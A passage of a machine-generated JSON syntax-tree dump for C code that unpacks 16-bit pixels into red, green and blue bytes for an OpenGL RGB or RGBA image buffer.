{"id": 580, "type": "parenthesized_expression", "text": "((red & 0x1) * 0x7)", "parent": 574, "children": [581], "start_point": {"row": 87, "column": 29}, "end_point": {"row": 87, "column": 48}}, {"id": 581, "type": "binary_expression", "text": "(red & 0x1) * 0x7", "parent": 580, "children": [582, 586, 587], "start_point": {"row": 87, "column": 30}, "end_point": {"row": 87, "column": 47}}, {"id": 582, "type": "parenthesized_expression", "text": "(red & 0x1)", "parent": 581, "children": [583], "start_point": {"row": 87, "column": 30}, "end_point": {"row": 87, "column": 41}}, {"id": 583, "type": "binary_expression", "text": "red & 0x1", "parent": 582, "children": [584, 585], "start_point": {"row": 87, "column": 31}, "end_point": {"row": 87, "column": 40}}, {"id": 584, "type": "identifier", "text": "red", "parent": 583, "children": [], "start_point": {"row": 87, "column": 31}, "end_point": {"row": 87, "column": 34}}, {"id": 585, "type": "number_literal", "text": "0x1", "parent": 583, "children": [], "start_point": {"row": 87, "column": 37}, "end_point": {"row": 87, "column": 40}}, {"id": 586, "type": "*", "text": "*", "parent": 581, "children": [], "start_point": {"row": 87, "column": 42}, "end_point": {"row": 87, "column": 43}}, {"id": 587, "type": "number_literal", "text": "0x7", "parent": 581, "children": [], "start_point": {"row": 87, "column": 44}, "end_point": {"row": 87, "column": 47}}, {"id": 588, "type": "assignment_expression", "text": "green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5)", "parent": 500, "children": [589, 590, 591], "start_point": {"row": 89, "column": 10}, "end_point": {"row": 89, "column": 71}}, {"id": 589, "type": "identifier", "text": "green", "parent": 588, "children": [], "start_point": {"row": 89, "column": 10}, "end_point": {"row": 89, "column": 15}}, {"id": 590, "type": "=", "text": "=", "parent": 588, "children": [], "start_point": {"row": 89, "column": 16}, "end_point": {"row": 89, "column": 17}}, {"id": 591, "type": "binary_expression", "text": "((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5)", "parent": 588, "children": [592, 602], "start_point": {"row": 89, "column": 18}, "end_point": {"row": 89, "column": 71}}, {"id": 592, "type": "parenthesized_expression", "text": "((spixel[1] & 0x03) << 3)", "parent": 591, "children": [593], "start_point": {"row": 89, "column": 18}, "end_point": {"row": 89, "column": 43}}, {"id": 593, "type": "binary_expression", "text": "(spixel[1] & 0x03) << 3", "parent": 592, "children": [594, 600, 601], "start_point": {"row": 89, "column": 19}, "end_point": {"row": 89, "column": 42}}, {"id": 594, "type": "parenthesized_expression", "text": "(spixel[1] & 0x03)", "parent": 593, "children": [595], "start_point": {"row": 89, "column": 19}, "end_point": {"row": 89, "column": 37}}, {"id": 595, "type": "binary_expression", "text": "spixel[1] & 0x03", "parent": 594, "children": [596, 599], "start_point": {"row": 89, "column": 20}, "end_point": {"row": 89, "column": 36}}, {"id": 596, "type": "subscript_expression", "text": "spixel[1]", "parent": 595, "children": [597, 598], "start_point": {"row": 89, "column": 20}, "end_point": {"row": 89, "column": 29}}, {"id": 597, "type": "identifier", "text": "spixel", "parent": 596, "children": [], "start_point": {"row": 89, "column": 20}, "end_point": {"row": 89, "column": 26}}, {"id": 598, "type": "number_literal", "text": "1", "parent": 596, "children": [], "start_point": {"row": 89, "column": 27}, "end_point": {"row": 89, "column": 28}}, {"id": 599, "type": "number_literal", "text": "0x03", "parent": 595, "children": [], "start_point": {"row": 89, "column": 32}, "end_point": {"row": 89, "column": 36}}, {"id": 600, "type": "<<", "text": "<<", "parent": 593, "children": [], "start_point": {"row": 89, "column": 38}, "end_point": {"row": 89, "column": 40}}, {"id": 601, "type": "number_literal", "text": "3", "parent": 593, "children": [], "start_point": {"row": 89, "column": 41}, "end_point": {"row": 89, "column": 42}}, {"id": 602, "type": "parenthesized_expression", "text": "((spixel[0] & 0xe0) >> 5)", "parent": 591, "children": [603], "start_point": {"row": 89, "column": 46}, "end_point": {"row": 89, "column": 71}}, {"id": 603, "type": "binary_expression", "text": "(spixel[0] & 0xe0) >> 5", "parent": 602, "children": [604, 610, 611], "start_point": {"row": 89, "column": 47}, "end_point": {"row": 89, "column": 70}}, {"id": 604, "type": "parenthesized_expression", "text": "(spixel[0] & 0xe0)", "parent": 603, "children": [605], "start_point": {"row": 89, "column": 47}, "end_point": {"row": 89, "column": 65}}, {"id": 605, "type": "binary_expression", "text": "spixel[0] & 0xe0", "parent": 604, "children": [606, 609], "start_point": {"row": 89, "column": 48}, "end_point": {"row": 89, "column": 64}}, {"id": 606, "type": "subscript_expression", "text": "spixel[0]", "parent": 605, "children": [607, 608], "start_point": {"row": 89, "column": 48}, "end_point": {"row": 89, "column": 57}}, {"id": 607, "type": "identifier", "text": "spixel", "parent": 606, "children": [], "start_point": {"row": 89, "column": 48}, "end_point": {"row": 89, "column": 54}}, {"id": 608, "type": "number_literal", "text": "0", "parent": 606, "children": [], "start_point": {"row": 89, "column": 55}, "end_point": {"row": 89, "column": 56}}, {"id": 609, "type": "number_literal", "text": "0xe0", "parent": 605, "children": [], "start_point": {"row": 89, "column": 60}, "end_point": {"row": 89, "column": 64}}, {"id": 610, "type": ">>", "text": ">>", "parent": 603, "children": [], "start_point": {"row": 89, "column": 66}, "end_point": {"row": 89, "column": 68}}, {"id": 611, "type": "number_literal", "text": "5", "parent": 603, "children": [], "start_point": {"row": 89, "column": 69}, "end_point": {"row": 89, "column": 70}}, {"id": 612, "type": "assignment_expression", "text": "green = (green << 3) | ((green & 0x1) * 0x7)", "parent": 500, "children": [613, 614, 615], "start_point": {"row": 90, "column": 10}, "end_point": {"row": 90, "column": 54}}, {"id": 613, "type": "identifier", "text": "green", "parent": 612, "children": [], "start_point": {"row": 90, "column": 10}, "end_point": {"row": 90, "column": 15}}, {"id": 614, "type": "=", "text": "=", "parent": 612, "children": [], "start_point": {"row": 90, "column": 16}, "end_point": {"row": 90, "column": 17}}, {"id": 615, "type": "binary_expression", "text": "(green << 3) | ((green & 0x1) * 0x7)", "parent": 612, "children": [616, 621], "start_point": {"row": 90, "column": 18}, "end_point": {"row": 90, "column": 54}}, {"id": 616, "type": "parenthesized_expression", "text": "(green << 3)", "parent": 615, "children": [617], "start_point": {"row": 90, "column": 18}, "end_point": {"row": 90, "column": 30}}, {"id": 617, "type": "binary_expression", "text": "green << 3", "parent": 616, "children": [618, 619, 620], "start_point": {"row": 90, "column": 19}, "end_point": {"row": 90, "column": 29}}, {"id": 618, "type": "identifier", "text": "green", "parent": 617, "children": [], "start_point": {"row": 90, "column": 19}, "end_point": {"row": 90, "column": 24}}, {"id": 619, "type": "<<", "text": "<<", "parent": 617, "children": [], "start_point": {"row": 90, "column": 25}, "end_point": {"row": 90, "column": 27}}, {"id": 620, "type": "number_literal", "text": "3", "parent": 617, "children": [], "start_point": {"row": 90, "column": 28}, "end_point": {"row": 90, "column": 29}}, {"id": 621, "type": "parenthesized_expression", "text": "((green & 0x1) * 0x7)", "parent": 615, "children": [622], "start_point": {"row": 90, "column": 33}, "end_point": {"row": 90, "column": 54}}, {"id": 622, "type": "binary_expression", "text": "(green & 0x1) * 0x7", "parent": 621, "children": [623, 627, 628], "start_point": {"row": 90, "column": 34}, "end_point": {"row": 90, "column": 53}}, {"id": 623, "type": "parenthesized_expression", "text": "(green & 0x1)", "parent": 622, "children": [624], "start_point": {"row": 90, "column": 34}, "end_point": {"row": 90, "column": 47}}, {"id": 624, "type": "binary_expression", "text": "green & 0x1", "parent": 623, "children": [625, 626], "start_point": {"row": 90, "column": 35}, "end_point": {"row": 90, "column": 46}}, {"id": 625, "type": "identifier", "text": "green", "parent": 624, "children": [], "start_point": {"row": 90, "column": 35}, "end_point": {"row": 90, "column": 40}}, {"id": 626, "type": "number_literal", "text": "0x1", "parent": 624, "children": [], "start_point": {"row": 90, "column": 43}, "end_point": {"row": 90, "column": 46}}, {"id": 627, "type": "*", "text": "*", "parent": 622, "children": [], "start_point": {"row": 90, "column": 48}, "end_point": {"row": 90, "column": 49}}, {"id": 628, "type": "number_literal", "text": "0x7", "parent": 622, "children": [], "start_point": {"row": 90, "column": 50}, "end_point": {"row": 90, "column": 53}}, {"id": 629, "type": "assignment_expression", "text": "blue = (spixel[0] & 0x1f) >> 0", "parent": 500, "children": [630, 631, 632], "start_point": {"row": 92, "column": 10}, "end_point": {"row": 92, "column": 40}}, {"id": 630, "type": "identifier", "text": "blue", "parent": 629, "children": [], "start_point": {"row": 92, "column": 10}, "end_point": {"row": 92, "column": 14}}, {"id": 631, "type": "=", "text": "=", "parent": 629, "children": [], "start_point": {"row": 92, "column": 15}, "end_point": {"row": 92, "column": 16}}, {"id": 632, "type": "binary_expression", "text": "(spixel[0] & 0x1f) >> 0", "parent": 629, "children": [633, 639, 640], "start_point": {"row": 92, "column": 17}, "end_point": {"row": 92, "column": 40}}, {"id": 633, "type": "parenthesized_expression", "text": "(spixel[0] & 0x1f)", "parent": 632, "children": [634], "start_point": {"row": 92, "column": 17}, "end_point": {"row": 92, "column": 35}}, {"id": 634, "type": "binary_expression", "text": "spixel[0] & 0x1f", "parent": 633, "children": [635, 638], "start_point": {"row": 92, "column": 18}, "end_point": {"row": 92, "column": 34}}, {"id": 635, "type": "subscript_expression", "text": "spixel[0]", "parent": 634, "children": [636, 637], "start_point": {"row": 92, "column": 18}, "end_point": {"row": 92, "column": 27}}, {"id": 636, "type": "identifier", "text": "spixel", "parent": 635, "children": [], "start_point": {"row": 92, "column": 18}, "end_point": {"row": 92, "column": 24}}, {"id": 637, "type": "number_literal", "text": "0", "parent": 635, "children": [], "start_point": {"row": 92, "column": 25}, "end_point": {"row": 92, "column": 26}}, {"id": 638, "type": "number_literal", "text": "0x1f", "parent": 634, "children": [], "start_point": {"row": 92, "column": 30}, "end_point": {"row": 92, "column": 34}}, {"id": 639, "type": ">>", "text": ">>", "parent": 632, "children": [], "start_point": {"row": 92, "column": 36}, "end_point": {"row": 92, "column": 38}}, {"id": 640, "type": "number_literal", "text": "0", "parent": 632, "children": [], "start_point": {"row": 92, "column": 39}, "end_point": {"row": 92, "column": 40}}, {"id": 641, "type": "assignment_expression", "text": "blue = (blue << 3) | ((blue & 0x1) * 0x7)", "parent": 500, "children": [642, 643, 644], "start_point": {"row": 93, "column": 10}, "end_point": {"row": 93, "column": 51}}, {"id": 642, "type": "identifier", "text": "blue", "parent": 641, "children": [], "start_point": {"row": 93, "column": 10}, "end_point": {"row": 93, "column": 14}}, {"id": 643, "type": "=", "text": "=", "parent": 641, "children": [], "start_point": {"row": 93, "column": 15}, "end_point": {"row": 93, "column": 16}}, {"id": 644, "type": "binary_expression", "text": "(blue << 3) | ((blue & 0x1) * 0x7)", "parent": 641, "children": [645, 650], "start_point": {"row": 93, "column": 17}, "end_point": {"row": 93, "column": 51}}, {"id": 645, "type": "parenthesized_expression", "text": "(blue << 3)", "parent": 644, "children": [646], "start_point": {"row": 93, "column": 17}, "end_point": {"row": 93, "column": 28}}, {"id": 646, "type": "binary_expression", "text": "blue << 3", "parent": 645, "children": [647, 648, 649], "start_point": {"row": 93, "column": 18}, "end_point": {"row": 93, "column": 27}}, {"id": 647, "type": "identifier", "text": "blue", "parent": 646, "children": [], "start_point": {"row": 93, "column": 18}, "end_point": {"row": 93, "column": 22}}, {"id": 648, "type": "<<", "text": "<<", "parent": 646, "children": [], "start_point": {"row": 93, "column": 23}, "end_point": {"row": 93, "column": 25}}, {"id": 649, "type": "number_literal", "text": "3", "parent": 646, "children": [], "start_point": {"row": 93, "column": 26}, "end_point": {"row": 93, "column": 27}}, {"id": 650, "type": "parenthesized_expression", "text": "((blue & 0x1) * 0x7)", "parent": 644, "children": [651], "start_point": {"row": 93, "column": 31}, "end_point": {"row": 93, "column": 51}}, {"id": 651, "type": "binary_expression", "text": "(blue & 0x1) * 0x7", "parent": 650, "children": [652, 656, 657], "start_point": {"row": 93, "column": 32}, "end_point": {"row": 93, "column": 50}}, {"id": 652, "type": "parenthesized_expression", "text": "(blue & 0x1)", "parent": 651, "children": [653], "start_point": {"row": 93, "column": 32}, "end_point": {"row": 93, "column": 44}}, {"id": 653, "type": "binary_expression", "text": "blue & 0x1", "parent": 652, "children": [654, 655], "start_point": {"row": 93, "column": 33}, "end_point": {"row": 93, "column": 43}}, {"id": 654, "type": "identifier", "text": "blue", "parent": 653, "children": [], "start_point": {"row": 93, "column": 33}, "end_point": {"row": 93, "column": 37}}, {"id": 655, "type": "number_literal", "text": "0x1", "parent": 653, "children": [], "start_point": {"row": 93, "column": 40}, "end_point": {"row": 93, "column": 43}}, {"id": 656, "type": "*", "text": "*", "parent": 651, "children": [], "start_point": {"row": 93, "column": 45}, "end_point": {"row": 93, "column": 46}}, {"id": 657, "type": "number_literal", "text": "0x7", "parent": 651, "children": [], "start_point": {"row": 93, "column": 47}, "end_point": {"row": 93, "column": 50}}, {"id": 658, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+0] = red", "parent": 500, "children": [659, 675, 676], "start_point": {"row": 95, "column": 10}, "end_point": {"row": 95, "column": 44}}, {"id": 659, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+0]", "parent": 658, "children": [660, 661], "start_point": {"row": 95, "column": 10}, "end_point": {"row": 95, "column": 38}}, {"id": 660, "type": "identifier", "text": "pixels", "parent": 659, "children": [], "start_point": {"row": 95, "column": 10}, "end_point": {"row": 95, "column": 16}}, {"id": 661, "type": "binary_expression", "text": "(j*w+i)*components+0", "parent": 659, "children": [662, 673, 674], "start_point": {"row": 95, "column": 17}, "end_point": {"row": 95, "column": 37}}, {"id": 662, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 661, "children": [663, 671, 672], "start_point": {"row": 95, "column": 17}, "end_point": {"row": 95, "column": 35}}, {"id": 663, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 662, "children": [664], "start_point": {"row": 95, "column": 17}, "end_point": {"row": 95, "column": 24}}, {"id": 664, "type": "binary_expression", "text": "j*w+i", "parent": 663, "children": [665, 669, 670], "start_point": {"row": 95, "column": 18}, "end_point": {"row": 95, "column": 23}}, {"id": 665, "type": "binary_expression", "text": "j*w", "parent": 664, "children": [666, 667, 668], "start_point": {"row": 95, "column": 18}, "end_point": {"row": 95, "column": 21}}, {"id": 666, "type": "identifier", "text": "j", "parent": 665, "children": [], "start_point": {"row": 95, "column": 18}, "end_point": {"row": 95, "column": 19}}, {"id": 667, "type": "*", "text": "*", "parent": 665, "children": [], "start_point": {"row": 95, "column": 19}, "end_point": {"row": 95, "column": 20}}, {"id": 668, "type": "identifier", "text": "w", "parent": 665, "children": [], "start_point": {"row": 95, "column": 20}, "end_point": {"row": 95, "column": 21}}, {"id": 669, "type": "+", "text": "+", "parent": 664, "children": [], "start_point": {"row": 95, "column": 21}, "end_point": {"row": 95, "column": 22}}, {"id": 670, "type": "identifier", "text": "i", "parent": 664, "children": [], "start_point": {"row": 95, "column": 22}, "end_point": {"row": 95, "column": 23}}, {"id": 671, "type": "*", "text": "*", "parent": 662, "children": [], "start_point": {"row": 95, "column": 24}, "end_point": {"row": 95, "column": 25}}, {"id": 672, "type": "identifier", "text": "components", "parent": 662, "children": [], "start_point": {"row": 95, "column": 25}, "end_point": {"row": 95, "column": 35}}, {"id": 673, "type": "+", "text": "+", "parent": 661, "children": [], "start_point": {"row": 95, "column": 35}, "end_point": {"row": 95, "column": 36}}, {"id": 674, "type": "number_literal", "text": "0", "parent": 661, "children": [], "start_point": {"row": 95, "column": 36}, "end_point": {"row": 95, "column": 37}}, {"id": 675, "type": "=", "text": "=", "parent": 658, "children": [], "start_point": {"row": 95, "column": 39}, "end_point": {"row": 95, "column": 40}}, {"id": 676, "type": "identifier", "text": "red", "parent": 658, "children": [], "start_point": {"row": 95, "column": 41}, "end_point": {"row": 95, "column": 44}}, {"id": 677, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+1] = green", "parent": 500, "children": [678, 694, 695], "start_point": {"row": 96, "column": 10}, "end_point": {"row": 96, "column": 46}}, {"id": 678, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+1]", "parent": 677, "children": [679, 680], "start_point": {"row": 96, "column": 10}, "end_point": {"row": 96, "column": 38}}, {"id": 679, "type": "identifier", "text": "pixels", "parent": 678, "children": [], "start_point": {"row": 96, "column": 10}, "end_point": {"row": 96, "column": 16}}, {"id": 680, "type": "binary_expression", "text": "(j*w+i)*components+1", "parent": 678, "children": [681, 692, 693], "start_point": {"row": 96, "column": 17}, "end_point": {"row": 96, "column": 37}}, {"id": 681, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 680, "children": [682, 690, 691], "start_point": {"row": 96, "column": 17}, "end_point": {"row": 96, "column": 35}}, {"id": 682, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 681, "children": [683], "start_point": {"row": 96, "column": 17}, "end_point": {"row": 96, "column": 24}}, {"id": 683, "type": "binary_expression", "text": "j*w+i", "parent": 682, "children": [684, 688, 689], "start_point": {"row": 96, "column": 18}, "end_point": {"row": 96, "column": 23}}, {"id": 684, "type": "binary_expression", "text": "j*w", "parent": 683, "children": [685, 686, 687], "start_point": {"row": 96, "column": 18}, "end_point": {"row": 96, "column": 21}}, {"id": 685, "type": "identifier", "text": "j", "parent": 684, "children": [], "start_point": {"row": 96, "column": 18}, "end_point": {"row": 96, "column": 19}}, {"id": 686, "type": "*", "text": "*", "parent": 684, "children": [], "start_point": {"row": 96, "column": 19}, "end_point": {"row": 96, "column": 20}}, {"id": 687, "type": "identifier", "text": "w", "parent": 684, "children": [], "start_point": {"row": 96, "column": 20}, "end_point": {"row": 96, "column": 21}}, {"id": 688, "type": "+", "text": "+", "parent": 683, "children": [], "start_point": {"row": 96, "column": 21}, "end_point": {"row": 96, "column": 22}}, {"id": 689, "type": "identifier", "text": "i", "parent": 683, "children": [], "start_point": {"row": 96, "column": 22}, "end_point": {"row": 96, "column": 23}}, {"id": 690, "type": "*", "text": "*", "parent": 681, "children": [], "start_point": {"row": 96, "column": 24}, "end_point": {"row": 96, "column": 25}}, {"id": 691, "type": "identifier", "text": "components", "parent": 681, "children": [], "start_point": {"row": 96, "column": 25}, "end_point": {"row": 96, "column": 35}}, {"id": 692, "type": "+", "text": "+", "parent": 680, "children": [], "start_point": {"row": 96, "column": 35}, "end_point": {"row": 96, "column": 36}}, {"id": 693, "type": "number_literal", "text": "1", "parent": 680, "children": [], "start_point": {"row": 96, "column": 36}, "end_point": {"row": 96, "column": 37}}, {"id": 694, "type": "=", "text": "=", "parent": 677, "children": [], "start_point": {"row": 96, "column": 39}, "end_point": {"row": 96, "column": 40}}, {"id": 695, "type": "identifier", "text": "green", "parent": 677, "children": [], "start_point": {"row": 96, "column": 41}, "end_point": {"row": 96, "column": 46}}, {"id": 696, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+2] = blue", "parent": 500, "children": [697, 713, 714], "start_point": {"row": 97, "column": 10}, "end_point": {"row": 97, "column": 45}}, {"id": 697, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+2]", "parent": 696, "children": [698, 699], "start_point": {"row": 97, "column": 10}, "end_point": {"row": 97, "column": 38}}, {"id": 698, "type": "identifier", "text": "pixels", "parent": 697, "children": [], "start_point": {"row": 97, "column": 10}, "end_point": {"row": 97, "column": 16}}, {"id": 699, "type": "binary_expression", "text": "(j*w+i)*components+2", "parent": 697, "children": [700, 711, 712], "start_point": {"row": 97, "column": 17}, "end_point": {"row": 97, "column": 37}}, {"id": 700, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 699, "children": [701, 709, 710], "start_point": {"row": 97, "column": 17}, "end_point": {"row": 97, "column": 35}}, {"id": 701, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 700, "children": [702], "start_point": {"row": 97, "column": 17}, "end_point": {"row": 97, "column": 24}}, {"id": 702, "type": "binary_expression", "text": "j*w+i", "parent": 701, "children": [703, 707, 708], "start_point": {"row": 97, "column": 18}, "end_point": {"row": 97, "column": 23}}, {"id": 703, "type": "binary_expression", "text": "j*w", "parent": 702, "children": [704, 705, 706], "start_point": {"row": 97, "column": 18}, "end_point": {"row": 97, "column": 21}}, {"id": 704, "type": "identifier", "text": "j", "parent": 703, "children": [], "start_point": {"row": 97, "column": 18}, "end_point": {"row": 97, "column": 19}}, {"id": 705, "type": "*", "text": "*", "parent": 703, "children": [], "start_point": {"row": 97, "column": 19}, "end_point": {"row": 97, "column": 20}}, {"id": 706, "type": "identifier", "text": "w", "parent": 703, "children": [], "start_point": {"row": 97, "column": 20}, "end_point": {"row": 97, "column": 21}}, {"id": 707, "type": "+", "text": "+", "parent": 702, "children": [], "start_point": {"row": 97, "column": 21}, "end_point": {"row": 97, "column": 22}}, {"id": 708, "type": "identifier", "text": "i", "parent": 702, "children": [], "start_point": {"row": 97, "column": 22}, "end_point": {"row": 97, "column": 23}}, {"id": 709, "type": "*", "text": "*", "parent": 700, "children": [], "start_point": {"row": 97, "column": 24}, "end_point": {"row": 97, "column": 25}}, {"id": 710, "type": "identifier", "text": "components", "parent": 700, "children": [], "start_point": {"row": 97, "column": 25}, "end_point": {"row": 97, "column": 35}}, {"id": 711, "type": "+", "text": "+", "parent": 699, "children": [], "start_point": {"row": 97, "column": 35}, "end_point": {"row": 97, "column": 36}}, {"id": 712, "type": "number_literal", "text": "2", "parent": 699, "children": [], "start_point": {"row": 97, "column": 36}, "end_point": {"row": 97, "column": 37}}, {"id": 713, "type": "=", "text": "=", "parent": 696, "children": [], "start_point": {"row": 97, "column": 39}, "end_point": {"row": 97, "column": 40}}, {"id": 714, "type": "identifier", "text": "blue", "parent": 696, "children": [], "start_point": {"row": 97, "column": 41}, "end_point": {"row": 97, "column": 45}}, {"id": 715, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+3] = 0xff", "parent": 500, "children": [716, 732, 733], "start_point": {"row": 98, "column": 10}, "end_point": {"row": 98, "column": 45}}, {"id": 716, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+3]", "parent": 715, "children": [717, 718], "start_point": {"row": 98, "column": 10}, "end_point": {"row": 98, "column": 38}}, {"id": 717, "type": "identifier", "text": "pixels", "parent": 716, "children": [], "start_point": {"row": 98, "column": 10}, "end_point": {"row": 98, "column": 16}}, {"id": 718, "type": "binary_expression", "text": "(j*w+i)*components+3", "parent": 716, "children": [719, 730, 731], "start_point": {"row": 98, "column": 17}, "end_point": {"row": 98, "column": 37}}, {"id": 719, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 718, "children": [720, 728, 729], "start_point": {"row": 98, "column": 17}, "end_point": {"row": 98, "column": 35}}, {"id": 720, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 719, "children": [721], "start_point": {"row": 98, "column": 17}, "end_point": {"row": 98, "column": 24}}, {"id": 721, "type": "binary_expression", "text": "j*w+i", "parent": 720, "children": [722, 726, 727], "start_point": {"row": 98, "column": 18}, "end_point": {"row": 98, "column": 23}}, {"id": 722, "type": "binary_expression", "text": "j*w", "parent": 721, "children": [723, 724, 725], "start_point": {"row": 98, "column": 18}, "end_point": {"row": 98, "column": 21}}, {"id": 723, "type": "identifier", "text": "j", "parent": 722, "children": [], "start_point": {"row": 98, "column": 18}, "end_point": {"row": 98, "column": 19}}, {"id": 724, "type": "*", "text": "*", "parent": 722, "children": [], "start_point": {"row": 98, "column": 19}, "end_point": {"row": 98, "column": 20}}, {"id": 725, "type": "identifier", "text": "w", "parent": 722, "children": [], "start_point": {"row": 98, "column": 20}, "end_point": {"row": 98, "column": 21}}, {"id": 726, "type": "+", "text": "+", "parent": 721, "children": [], "start_point": {"row": 98, "column": 21}, "end_point": {"row": 98, "column": 22}}, {"id": 727, "type": "identifier", "text": "i", "parent": 721, "children": [], "start_point": {"row": 98, "column": 22}, "end_point": {"row": 98, "column": 23}}, {"id": 728, "type": "*", "text": "*", "parent": 719, "children": [], "start_point": {"row": 98, "column": 24}, "end_point": {"row": 98, "column": 25}}, {"id": 729, "type": "identifier", "text": "components", "parent": 719, "children": [], "start_point": {"row": 98, "column": 25}, "end_point": {"row": 98, "column": 35}}, {"id": 730, "type": "+", "text": "+", "parent": 718, "children": [], "start_point": {"row": 98, "column": 35}, "end_point": {"row": 98, "column": 36}}, {"id": 731, "type": "number_literal", "text": "3", "parent": 718, "children": [], "start_point": {"row": 98, "column": 36}, "end_point": {"row": 98, "column": 37}}, {"id": 732, "type": "=", "text": "=", "parent": 715, "children": [], "start_point": {"row": 98, "column": 39}, "end_point": {"row": 98, "column": 40}}, {"id": 733, "type": "number_literal", "text": "0xff", "parent": 715, "children": [], "start_point": {"row": 98, "column": 41}, "end_point": {"row": 98, "column": 45}}, {"id": 734, "type": "else_clause", "text": "else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }", "parent": 437, "children": [], "start_point": {"row": 101, "column": 6}, "end_point": {"row": 128, "column": 5}}, {"id": 735, "type": "call_expression", "text": "assert(image->components == 3)", "parent": 734, "children": [736, 737], "start_point": {"row": 102, "column": 6}, "end_point": {"row": 102, "column": 36}}, {"id": 736, "type": "identifier", "text": "assert", "parent": 735, "children": [], "start_point": {"row": 102, "column": 6}, "end_point": {"row": 102, "column": 12}}, {"id": 737, "type": "argument_list", "text": "(image->components == 3)", "parent": 735, "children": [738], "start_point": {"row": 102, "column": 12}, "end_point": {"row": 102, "column": 36}}, {"id": 738, "type": "binary_expression", "text": "image->components == 3", "parent": 737, "children": [739, 742, 743], "start_point": {"row": 102, "column": 13}, "end_point": {"row": 102, "column": 35}}, {"id": 739, "type": "field_expression", "text": "image->components", "parent": 738, "children": [740, 741], "start_point": {"row": 102, "column": 13}, "end_point": {"row": 102, "column": 30}}, {"id": 740, "type": "identifier", "text": "image", "parent": 739, "children": [], "start_point": {"row": 102, "column": 13}, "end_point": {"row": 102, "column": 18}}, {"id": 741, "type": "field_identifier", "text": "components", "parent": 739, "children": [], "start_point": {"row": 102, "column": 20}, "end_point": {"row": 102, "column": 30}}, {"id": 742, "type": "==", "text": "==", "parent": 738, "children": [], "start_point": {"row": 102, "column": 31}, "end_point": {"row": 102, "column": 33}}, {"id": 743, "type": "number_literal", "text": "3", "parent": 738, "children": [], "start_point": {"row": 102, "column": 34}, "end_point": {"row": 102, "column": 35}}, {"id": 744, "type": "assignment_expression", "text": "image->format = GL_RGB", "parent": 734, "children": [745, 748, 749], "start_point": {"row": 103, "column": 6}, "end_point": {"row": 103, "column": 28}}, {"id": 745, "type": "field_expression", "text": "image->format", "parent": 744, "children": [746, 747], "start_point": {"row": 103, "column": 6}, "end_point": {"row": 103, "column": 19}}, {"id": 746, "type": "identifier", "text": "image", "parent": 745, "children": [], "start_point": {"row": 103, "column": 6}, "end_point": {"row": 103, "column": 11}}, {"id": 747, "type": "field_identifier", "text": "format", "parent": 745, "children": [], "start_point": {"row": 103, "column": 13}, "end_point": {"row": 103, "column": 19}}, {"id": 748, "type": "=", "text": "=", "parent": 744, "children": [], "start_point": {"row": 103, "column": 20}, "end_point": {"row": 103, "column": 21}}, {"id": 749, "type": "identifier", "text": "GL_RGB", "parent": 744, "children": [], "start_point": {"row": 103, "column": 22}, "end_point": {"row": 103, "column": 28}}, {"id": 750, "type": "assignment_expression", "text": "spixels = image->pixels", "parent": 734, "children": [751, 752, 753], "start_point": {"row": 104, "column": 6}, "end_point": {"row": 104, "column": 29}}, {"id": 751, "type": "identifier", "text": "spixels", "parent": 750, "children": [], "start_point": {"row": 104, "column": 6}, "end_point": {"row": 104, "column": 13}}, {"id": 752, "type": "=", "text": "=", "parent": 750, "children": [], "start_point": {"row": 104, "column": 14}, "end_point": {"row": 104, "column": 15}}, {"id": 753, "type": "field_expression", "text": "image->pixels", "parent": 750, "children": [754, 755], "start_point": {"row": 104, "column": 16}, "end_point": {"row": 104, "column": 29}}, {"id": 754, "type": "identifier", "text": "image", "parent": 753, "children": [], "start_point": {"row": 104, "column": 16}, "end_point": {"row": 104, "column": 21}}, {"id": 755, "type": "field_identifier", "text": "pixels", "parent": 753, "children": [], "start_point": {"row": 104, "column": 23}, "end_point": {"row": 104, "column": 29}}, {"id": 756, "type": "assignment_expression", "text": "image->pixels = (GLubyte*) malloc(w * h * 3)", "parent": 734, "children": [757, 760, 761], "start_point": {"row": 105, "column": 6}, "end_point": {"row": 105, "column": 50}}, {"id": 757, "type": "field_expression", "text": "image->pixels", "parent": 756, "children": [758, 759], "start_point": {"row": 105, "column": 6}, "end_point": {"row": 105, "column": 19}}, {"id": 758, "type": "identifier", "text": "image", "parent": 757, "children": [], "start_point": {"row": 105, "column": 6}, "end_point": {"row": 105, "column": 11}}, {"id": 759, "type": "field_identifier", "text": "pixels", "parent": 757, "children": [], "start_point": {"row": 105, "column": 13}, "end_point": {"row": 105, "column": 19}}, {"id": 760, "type": "=", "text": "=", "parent": 756, "children": [], "start_point": {"row": 105, "column": 20}, "end_point": {"row": 105, "column": 21}}, {"id": 761, "type": "cast_expression", "text": "(GLubyte*) malloc(w * h * 3)", "parent": 756, "children": [762, 766], "start_point": {"row": 105, "column": 22}, "end_point": {"row": 105, "column": 50}}, {"id": 762, "type": "type_descriptor", "text": "GLubyte*", "parent": 761, 